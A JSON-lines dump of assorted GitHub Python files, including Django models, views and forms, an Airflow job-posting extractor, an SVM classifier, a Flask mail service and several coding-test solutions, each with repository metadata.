utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Livro',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),\n ('criado_em', models.DateTimeField(auto_now_add=True)),\n ('modificado_em', models.DateTimeField(auto_now=True)),\n ('nome', models.CharField(max_length=128)),\n ('autor', models.CharField(max_length=128)),\n ('criado_por', models.ForeignKey(related_name='criado_por', to=settings.AUTH_USER_MODEL)),\n ('modificado_por', models.ForeignKey(related_name='modificado_por', to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='Pessoa',\n fields=[\n ('id', models.AutoField(serialize=False, verbose_name='ID', auto_created=True, primary_key=True)),\n ('texto', models.TextField(blank=True)),\n ],\n ),\n ]\n","repo_name":"luzfcb/versionamento_testes","sub_path":"testapp/processo/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41095664145","text":"from collections import defaultdict\nfrom collections import deque\n\n\ndef solution(n, edge):\n d = defaultdict(list)\n memo = set()\n ans = defaultdict(int)\n\n for i in edge:\n d[i[0]] += [i[1]]\n d[i[1]] += [i[0]]\n\n q = deque([(1, 1)])\n while q:\n node, cnt = q.popleft()\n # print(node,cnt)\n\n if node in memo:\n continue\n memo.add(node)\n ans[cnt] += 1\n cnt += 1\n for j in d[node]:\n if j in memo:\n continue\n q.append((j, cnt))\n\n return ans[sorted(ans.keys())[-1]]\n\nn=6\nvertex=[[3, 6], [4, 3], [3, 2], [1, 3], [1, 2], [2, 4], [5, 2]]\nprint(solution(n,vertex))","repo_name":"kimseojeong6533/CodingTest_python","sub_path":"프로그래머스_가장먼노드.py","file_name":"프로그래머스_가장먼노드.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"36820861534","text":"import copy\n\n\nclass History():\n\n def __init__(self, json=None):\n self._index = -1\n self._history = []\n self._initial_board = {}\n if json:\n if 'history' in json:\n self._history = json['history']\n if 'initial_board' in json:\n self._initial_board = json['initial_board']\n if 'index' in json:\n self._index = json['index']\n\n def __len__(self):\n return len(self._history)\n\n @property\n def initial_board(self):\n return self._initial_board\n\n @property\n def json(self):\n return {'history': self._history, 'initial_board': self._initial_board, 'index': self._index}\n\n def add(self, obj):\n if self._index != len(self) - 1:\n # history has been undone, so unspool history\n self._history = self._history[:self._index + 1]\n self._history.append(obj)\n self._index += 1\n\n def all(self):\n history = copy.deepcopy(self._history)\n if self._index >= 0 and self._index < len(self._history):\n history[self._index]['current'] = True\n return history\n\n def previous(self):\n record = self._history[self._index]\n\n if self._index < 0:\n return None\n\n self._index -= 1\n return record\n\n def first(self):\n self._index = -1\n\n def next(self):\n if self._index >= len(self) - 1:\n return None\n self._index += 1\n record = self._history[self._index]\n return record\n\n @staticmethod\n def construct_history_object(start, end, piece, captures=None, side_effects=None):\n obj = {\n 'start': start,\n 'end': end,\n 'piece': {\n 'name': piece.kind,\n 'color': piece.color,\n 'moves': piece.moves\n }\n }\n if captures:\n obj['captures'] = captures\n if side_effects:\n obj['side_effects'] = side_effects\n return obj\n\n @staticmethod\n def construct_capture_obj(captureds):\n captures = []\n for location, piece in captureds.items():\n captures.append({'location': location, 'name': piece.kind, 'color': piece.color, 'moves': piece.moves})\n return captures\n\n @staticmethod\n def construct_side_effect(method, **kwargs):\n start = kwargs['start']\n end = kwargs['end']\n if method == 'move':\n return [{\n 'method': 'move',\n 'start': start,\n 'end': end\n }]\n return []\n","repo_name":"theovoss/Chess","sub_path":"chess/board/history.py","file_name":"history.py","file_ext":"py","file_size_in_byte":2606,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"61"} +{"seq_id":"40315012824","text":"import webbrowser\n\n\nclass Movie():\n \"\"\"The media.py is the file that defines\n Movie class\n \"\"\"\n def __init__(self, movie_title, movie_storyline,\n movie_image, movie_trailer): # constructor\n self.title = movie_title\n self.storyline = movie_storyline\n self.poster_image_url = movie_image\n self.trailer_youtube_url = movie_trailer\n \"\"\" The show_triailer function in Movie opens\n the url in browser\n \"\"\"\n def show_trailer(self):\n webbrowser.open(self.trialer_youtube_url)\n \n \n","repo_name":"kem25/Movie_tralier","sub_path":"media.py","file_name":"media.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"34934515109","text":"from django import forms\nfrom django.urls import reverse_lazy\n\nfrom .models.buchung import Buchung\nfrom .models.kurs import Kurs\n\n\nclass BuchungForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(BuchungForm,self).__init__(*args, **kwargs)\n for field in self.fields:\n help_text = self.fields[field].help_text\n self.fields[field].help_text = None\n if help_text != '':\n self.fields[field].widget.attrs.update(\n {'class':'has-popover', 'data-content':help_text, 'data-placement':'right', 'data-container':'body'})\n\n class Meta:\n model = Buchung\n fields = ( 'kurs', 'kunde' )\n\n\nclass KursForm(forms.ModelForm):\n\n def __init__(self, *args, **kwargs):\n super(KursForm,self).__init__(*args, **kwargs)\n self.fields['beschreibung'].required = True\n self.fields['raum'].required = False\n self.fields['trainer'].required = False\n self.fields['teilnehmerzahl'].disabled=True\n for field in self.fields:\n help_text = self.fields[field].help_text\n self.fields[field].help_text = None\n if help_text != '':\n self.fields[field].widget.attrs.update(\n {'class':'has-popover', 'data-content':help_text, 'data-placement':'right', 'data-container':'body'})\n\n\n class Meta:\n template_name = \"kurs_create_form.html\"\n model = Kurs\n\n fields = ( 'titel', 'anfangszeit', 'endzeit',\n 'raum', 'trainer', 'max_teilnehmer', 'teilnehmerzahl',\n 'gebuehr', 'beschreibung'\n )\n success_url = reverse_lazy('kurs_liste')\n pass\n\n widgets = {\n 'anfangszeit': forms.DateInput(format=('%d.%m.%Y %H:%M'),\n attrs={'id':'datetimepicker-anfangszeit'}),\n 'endzeit': forms.DateInput(format=('%d.%m.%Y %H:%M'),\n attrs={'id':'datetimepicker-endzeit'}),\n 'beschreibung': forms.Textarea(attrs={'cols' :20, 'rows': 2}),\n }\n\n def get_form(self, form_class=None):\n form = super(KursErstellen, self).get_form(form_class)\n form.fields['beschreibung'].required = False #später entfernen, soll True sein!\n form.fields['raum'].required = False #später entfernen, soll True sein!\n form.fields['teilnehmerzahl'].disabled=True\n\n form.fields['anfangszeit'].widget = forms.DateInput(format=('%d.%m.%Y %H:%M'),\n attrs={'id':'datetimepicker-anfangszeit'})\n form.fields['endzeit'].widget = forms.DateInput(format=('%d.%m.%Y %H:%M'),\n attrs={'id':'datetimepicker-endzeit'})\n form.fields['beschreibung'].widget = forms.Textarea(attrs={'cols' :5, 'rows': 2,\n 'class': 'form-control'})\n return form\n","repo_name":"SportfreundeDelp/sportschule-dev","sub_path":"kursverwaltung/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38959893042","text":"from airflow.providers.google.cloud.hooks.gcs import GCSHook\nfrom airflow.models import Variable\nfrom datetime import datetime\n\nimport requests\nimport pandas as pd\nimport json\n\ndef pull_time():\n \"\"\"\n gcs에 저장된 데이터 추출 시점을 불러오는 함수\n return : 데이터 추출 시점을 담은 list\n \"\"\"\n gcs_hook = GCSHook(gcp_conn_id='gcs_conn')\n bucket_name = 'hale-posting-bucket'\n object_name = 'recruit/env/time.txt'\n file_content = gcs_hook.download(bucket_name=bucket_name, object_name=object_name)\n history = file_content.decode('utf-8')\n return history.split('\\n')\n\ndef extract_rawdata():\n \"\"\"\n api request로 데이터 호출. 반환값에서 채용공고 데이터만을 json으로 변환해서 반환\n return : json, execution time history\n \"\"\"\n # load airflow variable parameters\n url = Variable.get(\"recruit_url\")\n params = {'access-key' : Variable.get(\"api_key\"), 'ind_cd' : '3', 'fields': 'posting-date,expiration-date,keyword-code,count', 'count':110, 'start':0}\n \n # load last execution time, time now\n history = pull_time()\n timefrom = history[-1]\n ts = datetime.now()\n timeto = ts.strftime('%Y-%m-%d %H:%M:%S')\n\n # set time range\n params['published_min'] = timefrom\n params['published_max'] = timeto\n\n # api request to init\n try:\n res = requests.get(url, params=params)\n except (requests.exceptions.RequestException) as e:\n print('api 접근 실패 :', e)\n raise\n \n # check if data exists\n data_json = res.json()\n data = data_json['jobs']['job']\n if data_json['jobs']['total'] == 0:\n print('새로 업로드된 채용공고가 없습니다.')\n return {\"data\":[]}\n \n # total pages\n pages = (int(data_json['jobs']['total']) - 1) // 110\n\n # api requests\n for page in range(1, pages+1):\n params['start'] = page\n res = requests.get(url, params=params)\n data_json = res.json()\n data += data_json['jobs']['job']\n\n # add execution time\n history.append(timeto)\n return {'data' : data, \"history\" : history}\n\ndef pull_rawdata():\n \"\"\"\n GCS로부터 새로 추가된 json파일을 반환\n return : dict\n \"\"\"\n exectime = pull_time()[-1]\n now = datetime.strptime(exectime, '%Y-%m-%d %H:%M:%S')\n filenow = now.strftime('%Y-%m-%d__%H-%M-%S')\n\n gcs_hook = GCSHook(gcp_conn_id=\"gcs_conn\")\n\n # download json\n bucket_name = 'hale-posting-bucket'\n object_name = f'recruit/recruit_info{filenow}.json'\n rawdata = gcs_hook.download(bucket_name=bucket_name, object_name=object_name)\n\n return {\"rawdata\":json.loads(rawdata), \"time\":filenow}","repo_name":"pjw74/Data_Industry_Trends_Visualization","sub_path":"ETL/recruit/ETL/extract.py","file_name":"extract.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26810556337","text":"# Created: May 25, 2019\n# Author: Sumanth Nirmal\n# Brief: setup file for dev-cli package\n\nimport io\nimport os\nimport re\nfrom setuptools import setup, find_packages\n\nNAME = 'dev_cli'\nDESCRIPTION = 'Development Environment'\nENTRY_POINTS = {\n 'console_scripts': ['dev = dev_cli.dev_cli:cli']\n}\n\nos.chdir(os.path.abspath(os.path.dirname(__file__)))\n\nwith io.open(os.path.join(NAME.replace('-', '_'), '__init__.py'), encoding='utf8') as f:\n VERSION = re.search(r'^__version__ = \\'(.*?)\\'', f.read(), flags=re.MULTILINE).group(1)\n\nwith io.open(os.path.join('README.md'), 'rt', encoding='utf8') as f:\n README = f.read()\n\ndef read_requirements_in(path):\n \"\"\"Read requirements from requirements.in file.\"\"\"\n with io.open(path, 'rt', encoding='utf8') as f: # pylint: disable=redefined-outer-name\n return [\n x.rsplit('=')[1] if x.startswith('-e') else x\n for x in [x.strip() for x in f.readlines()]\n if x\n if not x.startswith('-r')\n if not x[0] == '#'\n ]\n\nINSTALL_REQUIRES = read_requirements_in('requirements.in')\n\nsetup(name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n long_description=README,\n author_email='sumanth.724@gmail.com',\n maintainer='Sumanth',\n maintainer_email='sumanth.724@gmail.com',\n url='https://gitlab.com/ApexAI/ade-cli',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n python_requires='>=3.5.2',\n install_requires=INSTALL_REQUIRES,\n entry_points=ENTRY_POINTS\n )\n","repo_name":"sumanth-nirmal/dev-cli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70585646275","text":"import pinyin\nimport pandas as pd\nimport os\nfrom django.conf import settings\nfrom copy import deepcopy\n\n\nclass HanZiToPinYin:\n \"\"\"\n 1 汉字转拼音: 黎明明 --> Mingming Li\n 2 复制一份新文件,添加一列:【拼音】\n \"\"\"\n def __init__(self, filename):\n self.origin_excel = os.path.join(settings.REPOSITORY_ROOT, 'data', 'recipients_sample.xlsx')\n self.new_filename = filename\n self.destination_excel = self._create_newfile()\n\n @staticmethod\n def hanzi_to_pinyin(name):\n if isinstance(name, str):\n part = pinyin.get(name, format=\"strip\", delimiter=\",\").split(',')\n return \" \".join([''.join(part[1:]).capitalize(), part[0].capitalize()])\n else:\n return \" \"\n\n def _create_newfile(self):\n \"\"\"\n 拼接新文件路径\n :return:\n \"\"\"\n file_path = os.path.join(settings.REPOSITORY_ROOT, 'data', self.new_filename)\n writer = pd.ExcelWriter(file_path)\n return writer\n\n def run(self):\n \"\"\"\n\n :return:\n \"\"\"\n data = pd.read_excel(self.origin_excel)\n data['拼音'] = None\n for i, row in data.iterrows():\n data.loc[i, '拼音'] = self.hanzi_to_pinyin(row['姓名'])\n data.to_excel(self.destination_excel, sheet_name='Sheet1', index=False, header=True)\n self.destination_excel.save()\n\n\nif __name__ == \"__main__\":\n HanZiToPinYin('new.xlsx').run()\n\n","repo_name":"jerrybox/GroupEmail","sub_path":"GroupEmail/apps/hanzitopinyin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23578672101","text":"from decimal import *\ncases = int(input())\n\nall_cases = []\n\nfor i in range(cases):\n D, N = [int(i) for i in input().split()]\n list_values = []\n for j in range(N):\n list_values.append(tuple(int(k) for k in input().split()))\n all_cases.append((D, N, list_values))\n\n\ndef max_value(D, N, list_values):\n getcontext().prec = 6\n return D/max([(D-i[0])/i[1] for i in list_values]) + 0.0000001\n\nfor i in range(len(all_cases)):\n print(\"Case #{}: {}\".format(i + 1, format(max_value(all_cases[i][0], all_cases[i][1], all_cases[i][2]), '.6f')))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_206/1296.py","file_name":"1296.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12922823400","text":"import random\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom sklearn.utils import shuffle\n\n\ndef read_data():\n data_chips = pd.read_csv('chips.csv')\n data_geyser = pd.read_csv('geyser.csv')\n data_chips['class'] = data_chips['class'].apply(lambda x: 1 if x == 'N' else -1)\n data_geyser['class'] = data_geyser['class'].apply(lambda x: 1 if x == 'N' else -1)\n data_chips = shuffle(data_chips)\n data_geyser = shuffle(data_geyser)\n\n return data_chips, data_geyser\n\n\n# noinspection PyPep8Naming\nclass SVM:\n def __init__(self, iterations=200, kernel_f_type='linear', c=50.0, eps=10e-11, p=3.0):\n self.kernel_f_type = kernel_f_type\n self.iterations = iterations\n self.kernel = self.set_kernel(kernel_f_type, p)\n self.K = None\n self.c = c\n self.eps = eps\n self.data_x = None\n self.data_y = None\n self.a = None\n self.b = None\n\n def set_kernel(self, kernel_f_type='linear', p=3.0):\n kernel_functions = {\n \"linear\": lambda x, y: np.dot(x, y),\n \"gaussian\": lambda x, y: np.exp(-1 * p * np.sum((x - y) ** 2)),\n \"polynomial\": lambda x, y: (np.dot(x, y)) ** p,\n }\n self.kernel = kernel_functions[kernel_f_type]\n return self.kernel\n\n def __calculate_kernel_matrix(self):\n size = self.data_x.shape[0]\n k = np.zeros((size, size))\n for i in range(size):\n for j in range(size):\n k[i][j] = self.kernel(self.data_x[i], self.data_x[j])\n return k\n\n def make_prediction(self, test_data_x, data_x=None, data_y=None, a=None, b=None):\n if data_x is None and data_y is None and a is None and b is None:\n data_x = self.data_x\n data_y = self.data_y\n a = self.a\n b = self.b\n\n kernel_matrix = np.array([self.kernel(test_data_x, data_x[i]) for i in range(data_x.shape[0])])\n predicted = b + np.dot(a * data_y, kernel_matrix)\n return 1 if predicted >= 0 else -1\n\n def fit(self, data_x, data_y):\n self.data_x = data_x\n self.data_y = data_y\n self.K = self.__calculate_kernel_matrix()\n kernel_matrix = self.K\n n = self.data_x.shape[0]\n a = np.zeros(n)\n y = self.data_y\n c = self.c\n b = 0.0\n e = self.eps\n\n for step in range(self.iterations):\n for i in range(n):\n j = random.choice(list(range(0, i)) + list(range(i + 1, n)))\n e_i = b + np.dot(a * y, kernel_matrix.T[i]) - y[i]\n e_j = b + np.dot(a * y, kernel_matrix.T[j]) - y[j]\n a_i = a[i]\n a_j = a[j]\n L, H = 0.0, 0.0\n\n if y[i] == y[j]:\n L = max(a[i] + a[j] - c, 0.0)\n H = min(a[i] + a[j], c)\n else:\n L = max(a[j] - a[i], 0.0)\n H = min(c + a[j] - a[i], c)\n\n if abs(H - L) < e:\n continue\n\n n_j = 2.0 * kernel_matrix[i][j] - kernel_matrix[i][i] - kernel_matrix[j][j]\n if n_j >= 0:\n continue\n\n a[j] -= y[j] * (e_i - e_j) / n_j\n a[j] = max(min(a[j], H), L)\n if abs(a[j] - a_j) < e:\n continue\n\n a[i] += y[i] * y[j] * (a_j - a[j])\n b1 = b - e_i - y[i] * (a[i] - a_i) * kernel_matrix[i][i] - y[j] * (a[j] - a_j) * kernel_matrix[i][j]\n b2 = b - e_j - y[i] * (a[i] - a_i) * kernel_matrix[i][j] - y[j] * (a[j] - a_j) * kernel_matrix[j][j]\n b = b1 if 0 < a[i] < c else (b2 if 0 < a[j] < c else (b1 + b2) / 2)\n\n self.a, self.b = a, b\n return a, b\n\n\ndef accuracy_score(predicted, actual):\n score = 0\n for a, p in zip(actual, predicted):\n if a == p:\n score += 1\n return score / len(actual)\n\n\ndef cross_validation(data, model):\n data = data.to_numpy()\n folds = 10\n split = np.array_split(data, folds)\n average_accuracy = 0\n\n for i in range(len(split)):\n data_train = np.concatenate(split[:i] + split[i + 1:])\n data_test = split[i]\n data_train_x, data_test_x = np.delete(data_train, 2, axis=1), np.delete(data_test, 2, axis=1)\n data_train_y, data_test_y = data_train.T[2], data_test.T[2]\n\n predicted = np.array([model.make_prediction(x) for x in data_test_x])\n actual = data_test_y\n average_accuracy += accuracy_score(predicted, actual)\n\n average_accuracy /= folds\n return average_accuracy\n\n\ndef find_best_parameters(data, kernel_f_type):\n if kernel_f_type == 'gaussian':\n kernel_params = np.linspace(2, 5, num=7)\n else:\n kernel_params = [2, 3, 4, 5]\n\n C = [0.05, 0.1, 0.5, 1.0, 5.0, 10.0, 50.0, 100.0]\n best_parameters = list()\n best_accuracy = 0\n\n for c in C:\n print('Testing C')\n for p in kernel_params:\n model = SVM(kernel_f_type=kernel_f_type, c=c, p=p)\n average_accuracy = cross_validation(data, model)\n\n if average_accuracy > best_accuracy:\n best_accuracy = average_accuracy\n best_parameters = [c, p, average_accuracy]\n\n return best_parameters\n\n\ndef draw(data, data_name, model):\n data_x = np.delete(data.to_numpy(), 2, axis=1)\n data_y = data.to_numpy().T[2]\n model.fit(data_x, data_y)\n\n x0_N = list()\n x1_N = list()\n x0_P = list()\n x1_P = list()\n for i in np.linspace(np.min(data_x.T[0]), np.max(data_x.T[0]), 100):\n for j in np.linspace(np.min(data_x.T[1]), np.max(data_x.T[1]), 80):\n if model.make_prediction(np.array([i, j])) == 1:\n x0_N.append(i)\n x1_N.append(j)\n else:\n x0_P.append(i)\n x1_P.append(j)\n\n predicted = list()\n for x in data_x:\n predicted.append(model.make_prediction(x))\n\n accuracy = accuracy_score(np.array([model.make_prediction(x) for x in data_x]), data_y) * 100\n plt.title('{}: kernel = {}, accuracy = {:.3}%'.format(data_name, model.kernel_f_type, accuracy))\n\n plt.scatter(x0_N, x1_N, alpha=0.1, c='purple')\n plt.scatter(x0_P, x1_P, alpha=0.1, c='red')\n\n x0 = [x[0] for i, x in enumerate(data_x) if data_y[i] == 1]\n x1 = [x[1] for i, x in enumerate(data_x) if data_y[i] == 1]\n plt.scatter(x0, x1, c='purple')\n x0 = [x[0] for i, x in enumerate(data_x) if data_y[i] != 1]\n x1 = [x[1] for i, x in enumerate(data_x) if data_y[i] != 1]\n plt.scatter(x0, x1, c='red')\n plt.show()\n\n\ndata_chips, data_geyser = read_data()\n\n# best_parameters_chips = {\n# 'linear': find_best_parameters(data_chips, 'linear'), # 100 --- 2 --- 53%\n# 'gaussian': find_best_parameters(data_chips, 'gaussian'), # 5 --- 4 --- 83%\n# 'polynomial': find_best_parameters(data_chips, 'polynomial') # 100 --- 4 --- 75%\n# }\n\n# best_parameters_geyser = {\n# 'linear': find_best_parameters(data_geyser, 'linear'), # 0.5 --- 2 --- 90%\n# 'gaussian': find_best_parameters(data_geyser, 'gaussian'), # 0.5 --- 2 --- 88%\n# 'polynomial': find_best_parameters(data_geyser, 'polynomial') # 0.05 -- 2 --- 87%\n# }\n\ndraw(data_chips, 'Chips', SVM(kernel_f_type='linear', c=100, p=2))\ndraw(data_chips, 'Chips', SVM(kernel_f_type='gaussian', c=5, p=4))\ndraw(data_chips, 'Chips', SVM(kernel_f_type='polynomial', c=100, p=4))\n\ndraw(data_geyser, 'Geyser', SVM(kernel_f_type='linear', c=0.5, p=2))\ndraw(data_geyser, 'Geyser', SVM(kernel_f_type='gaussian', c=0.5, p=2))\ndraw(data_geyser, 'Geyser', SVM(kernel_f_type='polynomial', c=0.05, p=2))\n","repo_name":"IsvKonstantin/machine-learning","sub_path":"svm/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70121457476","text":"from django.shortcuts import render\n\n# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.models import User\nfrom django.forms.utils import ErrorList\nfrom django.http import HttpResponse\nfrom .forms import LoginForm, SignUpForm\nfrom django.contrib.auth.decorators import login_required\n\n\ndef login_view(request):\n form = LoginForm(request.POST or None)\n\n msg = None\n\n if request.method == \"POST\":\n\n if form.is_valid():\n username = form.cleaned_data.get(\"username\")\n password = form.cleaned_data.get(\"password\")\n user = authenticate(username=username, password=password)\n if user is not None:\n login(request, user)\n return redirect(\"/\")\n else:\n msg = 'Invalid credentials'\n else:\n msg = 'Error validating the form'\n\n return render(request, \"accounts/login.html\", {\"form\": form, \"msg\": msg})\n\n\ndef register_user(request):\n msg = None\n success = False\n\n if request.method == \"POST\":\n form = SignUpForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get(\"username\")\n raw_password = form.cleaned_data.get(\"password1\")\n user = authenticate(username=username, password=raw_password)\n\n msg = 'User created - please login.'\n success = True\n\n # return redirect(\"/login/\")\n\n else:\n msg = 'Form is not valid'\n else:\n form = SignUpForm()\n\n return render(request, \"accounts/register.html\", {\"form\": form, \"msg\": msg, \"success\": success})\n\n\n@login_required(login_url=\"/login/\")\ndef get_users(request):\n users_data = User.objects.all()\n return render(request, \"users.html\", {'users': users_data})\n\n\n@login_required(login_url=\"/login/\")\ndef add_user(request):\n return render(request, \"accounts/add-edit-user.html\")\n\n\n@login_required(login_url=\"/login/\")\ndef save_user(request):\n if request.method == 'POST':\n if User.objects.filter(email=request.POST['email']).exists():\n return render(request, \"accounts/add-edit-user.html\", {\"msg\": \"Email already exists\", \"error\": True})\n else:\n user = User.objects.create(\n first_name=request.POST['first_name'],\n last_name=request.POST['last_name'],\n email=request.POST['email'],\n username=request.POST['username']\n )\n user.save()\n return redirect('users')\n\n\n@login_required(login_url=\"/login/\")\ndef edit_user(request, user_id):\n user = User.objects.get(id=user_id)\n return render(request, \"accounts/add-edit-user.html\", {'user': user})\n\n\n@login_required(login_url=\"/login/\")\ndef update_user(request, user_id):\n if request.method == 'POST':\n user = User.objects.filter(id=user_id)\n user.update(\n first_name=request.POST['first_name'],\n last_name=request.POST['last_name'],\n email=request.POST['email'],\n username=request.POST['username']\n )\n return redirect('users')\n\n\n@login_required(login_url=\"/login/\")\ndef delete_user(request, user_id):\n User.objects.filter(id=user_id).delete()\n return redirect('users')\n","repo_name":"arunjose1995/NavaShashtre","sub_path":"authentication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28598464836","text":"from django.shortcuts import render, redirect\r\nfrom django.contrib import messages\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom .forms import ParticiparForm\r\nfrom .models import Participar\r\n\r\n@login_required\r\ndef participar(request):\r\n if request.method == 'POST':\r\n form = ParticiparForm(request.POST,\r\n instance=request.user.participar)\r\n if form.is_valid():\r\n t = form.save(commit=False)\r\n t.user = request.user\r\n t.asistir = form.cleaned_data.get('asistir')\r\n t.save()\r\n messages.success(request, f\"Tu eleccion ha sido confirmada!\") \r\n return redirect('/participar/')\r\n else:\r\n form = ParticiparForm(instance=request.user.participar)\r\n users = Participar.objects.filter(asistir='Si')\r\n context = {\r\n 'form': form,\r\n 'users': users,\r\n }\r\n return render(request, 'participar/great.html', context)\r\n","repo_name":"leugimkm/torneosPokemonGO","sub_path":"participar/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9002100103","text":"\nfrom random import randint\n\ndef build_bt_maze(grid):\n for cell in grid.each_cell():\n neighbors = []\n if cell.north: neighbors.append(cell.north)\n if cell.east: neighbors.append(cell.east)\n\n if len(neighbors) > 0:\n neighbor = neighbors[randint(0, len(neighbors) - 1)]\n if neighbor != None: cell.link(neighbor)\n","repo_name":"brucealon/mazes-python","sub_path":"mazes/binary_tree.py","file_name":"binary_tree.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17730474852","text":"\"\"\"\r\nMicro service to send mail with rendered data of Template\r\n\"\"\"\r\n__author__ = \"Sarath chandra Bellam\"\r\n\r\nimport os\r\nimport json\r\nfrom flask import Flask\r\nfrom flask_cors import cross_origin\r\nfrom flask import request\r\nfrom flask import jsonify\r\nimport smtplib\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom jinja2 import Environment\r\n\r\n\r\napp = Flask(__name__)\r\n# Configuring the port\r\nport = int(os.getenv(\"PORT\", 3001))\r\n\r\n# https://gist.github.com/sarchakar/16fc20161974a4b68423b51006767609\r\nTEMPLATE = \"\"\"\r\n\r\n\r\n \r\n\r\n\r\n
Hi Team,
\r\n
\r\n\r\n
Application Name:{{appName}}
\r\n
Status:{{status}}
\r\n
Time Stamp:{{timestamp}}
\r\n
\r\n
Thanks,
\r\n
xxxxxxx
\r\n\r\n
\r\nThis is an auto generated mail.Do not reply\r\n\r\n\r\n\"\"\"\r\n\r\n\r\nclass MailNotification:\r\n \"\"\"\r\n\r\n \"\"\"\r\n def __init__(self, smtp_server, from_user, to_user, subject,\r\n content, smtp_user, smtp_passkey):\r\n \"\"\"\r\n\r\n \"\"\"\r\n self.smtp_server = smtp_server\r\n self.from_user = from_user\r\n self.recipients = to_user\r\n self.content = content\r\n self.login_user = smtp_user\r\n self.login_key = smtp_passkey\r\n self.subject = subject\r\n self.msg = None\r\n self.smtp = None\r\n self.status = True\r\n self.error = None\r\n\r\n def smtp_connect(self):\r\n \"\"\"\r\n\r\n \"\"\"\r\n try:\r\n print(self.smtp_server)\r\n self.smtp = smtplib.SMTP(self.smtp_server, port=25)\r\n except smtplib.SMTPException as error_connect:\r\n self.status = False\r\n self.error = error_connect\r\n if self.login_user:\r\n try:\r\n self.smtp.login(self.login_user, self.login_key)\r\n except smtplib.SMTPException as error_login:\r\n self.status = False\r\n self.error = error_login\r\n\r\n def render_template(self):\r\n \"\"\"\r\n\r\n \"\"\"\r\n template_environ = Environment()\r\n mail_content = template_environ.from_string(TEMPLATE)\r\n content = mail_content.render(self.content)\r\n self.msg = MIMEMultipart('alternative')\r\n self.msg.attach(MIMEText(content, 'html'))\r\n\r\n def send_mail(self):\r\n \"\"\"\r\n\r\n \"\"\"\r\n self.smtp_connect()\r\n self.render_template()\r\n self.msg['Subject'] = self.subject\r\n self.msg['Reply-to'] = self.from_user\r\n print(self.msg)\r\n try:\r\n self.smtp.sendmail(self.from_user, self.recipients, self.msg.as_string())\r\n except smtplib.SMTPException as error_send:\r\n self.status = False\r\n self.error = error_send\r\n\r\n\r\n@app.route('/send_mail', methods = ['POST'])\r\n@cross_origin()\r\ndef notify_mail_service():\r\n \"\"\"\r\n \"\"\"\r\n if request.headers['Content-Type'] == 'application/json':\r\n user_input = json.loads(request.data.decode(encoding='UTF-8'))\r\n smtp_server = user_input['server']\r\n smtp_from_user = user_input['from']\r\n if isinstance(user_input['to'], list):\r\n smtp_to_user = user_input['to']\r\n else:\r\n smtp_to_user = [user_input['to']]\r\n subject = user_input['subject']\r\n content = user_input['data']\r\n try:\r\n login_user = user_input['user']\r\n login_passkey = user_input['passkey']\r\n except KeyError:\r\n login_user = None\r\n login_passkey = None\r\n mail_notify = MailNotification(smtp_server, smtp_from_user, smtp_to_user,\r\n subject, content, login_user, login_passkey)\r\n mail_notify.send_mail()\r\n if mail_notify.status is True:\r\n return jsonify({'status': 'SUCCESS'})\r\n else:\r\n return jsonify({'status': 'FAILURE', 'remark':mail_notify.error})\r\n else:\r\n return jsonify({'status': 'SUCCESS', 'remark':'Content type != application/json'})\r\n\r\nif __name__ == '__main__':\r\n app.run(port=port)\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"SarathChandraBellam/Python-Mail-Notification-Service-","sub_path":"MailService.py","file_name":"MailService.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"43267467993","text":"class Solution:\n def angleClock(self, hour: int, minutes: int) 